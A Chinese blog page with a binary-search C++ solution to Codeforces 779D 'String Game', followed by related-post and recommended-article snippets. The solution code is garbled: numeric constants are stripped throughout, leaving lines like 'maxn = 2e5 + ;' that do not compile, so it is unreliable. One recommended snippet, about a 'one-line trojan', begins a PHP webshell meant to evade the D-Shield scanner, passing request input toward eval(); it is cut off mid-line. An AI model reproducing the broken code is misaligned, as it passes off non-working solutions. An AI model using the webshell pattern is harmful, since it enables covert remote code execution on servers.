CodeForces - 779D String Game 常规二分
题意:给你两个串,S2是S1 的一个子串(可以不连续).给你一个s1字符下标的一个排列,按照这个数列删数,问你最多删到第几个时S2仍是S1 的一个子串。
题解:二分删掉的数。判定函数很好写和单调性也可以维持。 不知道为啥答案要-1.。貌似l最终指向删掉以后不再保持性质的第一个数。
#define _CRT_SECURE_NO_WARNINGS
#include<cstdio>
#include<algorithm>
#include<iostream>
#include<string>
#include<string.h>
using namespace std;
typedef long long ll;
const int maxn = 2e5 + ;
char s1[maxn],s2[maxn];
int del[maxn];
int a[maxn];
int main() {
scanf("%s", s1);
scanf("%s", s2);
int len = strlen(s1);
int len2 = strlen(s2);
for (int i = ; i < len; i++)
scanf("%d", &a[i]);
int l = , r = len-;//二分删掉的数
while (l <= r) {
memset(del, -, sizeof(del));
int mid = l + r >> ;
int ok = ;
for (int i = ; i < mid; i++) del[a[i]-] = ;
int i = ,j = ;
while (i < len&&j < len2)
{
if (del[i] == ) { i++; continue; }
if (s1[i] == s2[j])i++, j++;
else i++;
if (j == len2)break;
}
if (j == len2) {l = mid + ; }
else r = mid- ;
}
cout << l-; }
CodeForces - 779D String Game 常规二分的更多相关文章
- CodeForces 779D. String Game(二分答案)
题目链接:http://codeforces.com/problemset/problem/779/D 题意:有两个字符串一个初始串一个目标串,有t次机会删除初始串的字符问最多操作几次后刚好凑不成目标 ...
- CodeForces - 779D String Game(二分)
Little Nastya has a hobby, she likes to remove some letters from word, to obtain another word. But i ...
- codeforces 779D - String Game
time limit per test 2 seconds memory limit per test 512 megabytes input standard input output standa ...
- Codeforces Round #402 (Div. 2) D. String Game(二分答案水题)
D. String Game time limit per test 2 seconds memory limit per test 512 megabytes input standard inpu ...
- Codeforces 799D. String Game 二分
D. String Game time limit per test:2 seconds memory limit per test:512 megabytes input:standard inpu ...
- 779D. String Game 二分 水
Link 题意: 给出两字符串$a$,$b$及一个序列,要求从前往后按照序列删掉$a$上的字符,问最少删多少使$b$串不为a的子串 思路: 限制低,直接二分答案,即二分序列位置,不断check即可. ...
- codeforces 779 D. String Game(二分)
题目链接:http://codeforces.com/contest/779/problem/D 题意:给你一段操作序列,按顺序依次删掉字符串1中相应位置的字符,问你最多能按顺序删掉多少个字符,使得s ...
- 【codeforces 779D】String Game
[题目链接]:http://codeforces.com/contest/779/problem/D [题意] 给你一段操作序列; 按顺序依次删掉字符串1中相应位置的字符; 问你最多能按顺序删掉多少个 ...
- Codeforces 778A:String Game(二分暴力)
http://codeforces.com/problemset/problem/778/A 题意:给出字符串s和字符串p,还有n个位置,每一个位置代表删除s串中的第i个字符,问最多可以删除多少个字符 ...
随机推荐
- Android学习——在Android中使用OpenCV的第一个程序
刚開始学习Android,因为之前比較熟悉OpenCV,于是就想先在Android上执行OpenCV试试 =============================================== ...
- 转载用sql语句计算出mysql数据库的qps,tps,iops性能指标
本帖最后由 LUK 于 2014-9-21 22:39 编辑 思路: 1 关注MYSQL三个方面的性能指标,分别为query数,transaction数,io请求数 2 在某个时间范围内(例如20秒) ...
- 一句话木马:PHP篇
珍藏版: 一个简单的过D盾的免杀php <?php $ab = $_REQUEST['d']; $a['t'] = "";//主要带对象 D盾就不管后面的了... eval( ...
- NFS 简介
一.NFS 简介 1. NFS(Network File System)网络文件系统,它允许网络中的计算机之间通过 TCP/IP 网络共享资源2. NFS 应用场景:A,B,C 三台机器上需要保证被访 ...
- 51单片机的idata,xdata,pdata,data的详解(转)
data: 固定指前面0x00-0x7f的128个RAM,可以用acc直接读写的,速度最快,生成的代码也最小. bit :是指0x20-0x2f的可位寻址区idata:固定指前面0x00-0xff的2 ...
- codeblocks编码设置
注意编码统一,即文件编码和编译时的编码统一即可. codeblock13.12下: 文件编码: setting -> editor ->general setting -> othe ...
- composer安装指定版本的laravel
composer create-project laravel/laravel blog 4.2.*
- 解决nginx中fastcgi(php-fpm)60s超时的问题
在配置中加上 location ~ .*\.(php|php5)?$ { fastcgi_pass 127.0.0.1:9000; fastcgi_read_timeout 700; fastcgi_ ...
- js元素闪动效果
<img src="http://yjy.allbring.com/UpLoadFiles/head/p1_20140326104945_17-10164142709.jpg" ...
- Matlab PCA 算法
Matlab 自带PCA函数形式为 [mappedX, mapping] = pca(X, no_dims) 自己编写PCA函数的步骤 %第一步:输入样本矩阵%%%%%%%%%%%%%%%%%%%%% ...